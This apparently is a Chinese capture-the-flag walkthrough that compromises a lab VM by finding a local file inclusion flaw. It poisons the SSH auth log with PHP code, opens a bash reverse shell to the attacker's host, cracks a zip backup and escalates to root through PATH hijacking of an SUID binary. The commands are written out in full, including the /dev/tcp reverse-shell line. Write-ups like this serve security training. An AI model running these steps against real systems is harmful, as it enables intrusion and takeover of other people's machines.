1、找到靶机ip:192.168.162.131
nmap -sn 192.168.162.0/24
2、扫描靶机端口,发现开放22和80端口
┌──(root💀cracer)-[~]
└─# nmap -A -p- 192.168.162.131
Starting Nmap 7.91 ( https://nmap.org )
Nmap scan report for 192.168.162.131
Host is up (0.00067s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0c:a7:1c:8b:4e:85:6b:16:8c:fd:b7:cd:5f:60:3e:a4 (RSA)
| 256 0f:24:f4:65:af:50:d3:d3:aa:09:33:c3:17:3d:63:c7 (ECDSA)
|_ 256 b0:fa:cd:77:73:da:e4:7d:c8:75:a1:c5:5f:2c:21:0a (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Ubuntu))
|_http-server-header: Apache/2.4.46 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:0C:29:5A:35:C8 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.67 ms 192.168.162.131
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.33 seconds
3、访问80端口,是一个默认的apache页面,没有什么有用信息
扫描目录,发现tasks和blog-post两个目录
gobuster dir -u http://192.168.162.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
访问 tasks目录,发现一个tasks_todo文件,点击发现三个任务,提示auth.log文件,这个文件包含ssh登录错误信息,猜测利用ssh插入恶意代码,然后使用LFI包含此文件获得shell,于是需要找到存在LFI的文件
访问blog-post目录,默认页面没有什么有用信息
扫描此目录下的目录和文件,发现archives和uploads目录
在archives目录下发现randylogs.php,uploads目录下和首页一样,没什么用,于是猜测randylogs.php就是存在LFI的文件
文件有了,但是需要知道参数是什么,于是需要fuzz一下参数,得到参数是file
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.162.131/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -fs 0
4、故意使用错误的用户名登录ssh,包含auth.log文件发现使用的用户名
将php一句话木马作为ssh登录的用户名,包含此文件然后执行命令反弹shell
成功执行命令
执行bash一句话反弹shell,成功反弹shell
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.162.130%2F1234%200%3E%261%27
5、这里反弹的是一个简易的shell,跟自己使用的终端是有区别的,不能使用方向键和tab键,还有ctrl+c,这里可以选择升级到一个更智能的shell,操作方法上传到资源了,如果不想弄得话,就使用python获得tty也行
6、查找可利用的文件,在/var/backups下发现一个user_backup.zip压缩包,解压需要密码,下载到本地
使用john爆破压缩包密码,-w参数必须加等于号
四个文件
easysysinfo.c文件内容
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("/usr/bin/date");
system("cat /etc/hosts");
system("/usr/bin/uname -a");
}
my_password.txt文件内容
randylovesgoldfish1998
7、有了密码,需要有用户名,查看/etc/passwd文件,猜测是randy的密码
使用密码成功切换到randy用户(这里也可以使用ssh登录方便后面使用vi编辑文件),获得第一个flag
使用sudo -l命令发现可以使用root身份运行/home/randy/tools/easysysinfo文件
8、该目录下有两个文件,查看easysysinfo文件发现有s权限
s权限: 设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份.
easysysinfo.py文件内容,跟前面的easysysinfo.c内容差不多,但是前面那个文件cat使用的不是绝对路径,而这个文件是绝对路径,如果可执行文件使用的不是绝对路径,则存在漏洞可利用
#!/usr/bin/python3.9
import os
command1 = "/usr/bin/date"
command2 = "/usr/bin/cat /etc/hosts"
command3 = "/usr/bin/uname -a"
def output():
print("Today is: ")
os.system(command1)
print("\n")
print("Hosts File: ")
os.system(command2)
print("\n")
print("Kernal Version: ")
os.system(command3)
output()
使用strings easysysinfo发现使用的不是绝对路径
(1)第一种提权方法
在本地编辑cat文件,写入sh,给执行权限然后将路径写入到原有环境变量前(从前往后顺序匹配),这样使用cat命令时就会优先匹配此路径下的cat文件,由于文件有s权限,不用使用root身份运行也能获得root权限
(2)第二种提权方法,虽然没有修改权限,但是可以使用同名文件覆盖该文件,写一个获得shell的c文件,然后编译覆盖,覆盖之后s权限也会被覆盖,所以需要使用sudo以获得root权限
9、在root目录下发现最终flag和root密码:рандиистхебест1993(俄语)